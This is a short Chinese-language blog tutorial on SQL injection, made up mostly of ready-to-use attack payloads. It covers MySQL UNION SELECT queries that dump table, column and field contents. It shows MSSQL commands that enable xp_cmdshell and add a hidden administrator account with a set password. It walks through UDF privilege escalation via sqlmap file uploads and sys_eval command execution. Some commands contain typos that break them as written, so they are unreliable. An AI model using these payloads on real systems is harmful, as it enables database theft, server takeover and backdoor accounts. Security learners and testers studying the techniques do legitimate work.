SQL注入专题(一)

5个月前 (12-09) 0 点赞 0 收藏 0 评论 7 已阅读

一、数据库基本信息探测

探测数据库类型是SQL注入基本信息的一步,还有一些基本信息需要探测清楚,包括当前用户名、当前用户权限、当前数据库名、当前数据库表信息、当前数据库列信息。

二、手工注入-------使用Mysql特有库注出表名、列名、字段的值

使用数据库注出所有表名:

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3

住处当前数据库某个表的所有字段名:

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '数据库名' and table_name ='表明'),3

注出某字段的值:

union select 1,(select group_concat(列名,列名)from 数据库名称.表名),3,4

三、Mssql特有表:sysobjects

可与通过查询是否有特有表:sysobjects来判断数据库是否为Mssql:and exists(select * from sysobjects)

判断是狗支持子语句查询 and(select count(1) from [sysobjects])>=0

四、创建xp_cmdshell(创建一个登陆别人服务器的账号密码)

select IS_SRVROLEMEMBER('sysadmin');

EXEC sp_configure 'show advanced options',1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'xp_cmdshell',1;

RECONFIGURE WITH OVERRIDE;

Exec xp_cmdshell 'ipconfig';

Exec xp_cmdshell 'net users';

Exec xp_cmdshell  'net user test chaitin@123 /add';

Exec xp_cmdshell 'net localgroup administators test /add';

五、UDF提权

UDF(user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数和user()一样;

使用UDF踢馆原理大概就是通过引入udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。

在MySQL5.1版本以上需要将其存在MySQL安装目录mysql/lib/plugin下,文件后缀位.dll;

使用SQLmap进行udf提权:

1、连接MySQL数据库打开一个交互shell:

sqlmap.py -u "url" --sql-shell

select@@version;

select @@plugin_dir;

C:\MYSQL\MYSQL5.6.17\LIB\PLUGIN\(mysql版本大一5.1版本udf.dll文件必须放置于,ysql安装目录下的libplugin文件夹下。)

2、利用sqlmap上传lib_mysqludf_sys到mysql插件目录:

sqlmap.py -u "url" --file-write =自己的目录/lib_mysqludf_sys.dll --file-dest =

C:\mysql\mysql5.6.17\lib\plugin\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lin_mysqludf_sys.dll'

CREATE function sys_eval 

RETURNS STRING SONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');


SQL注入专题(一)

本文收录在
0评论

登录

忘记密码 ?

切换登录

注册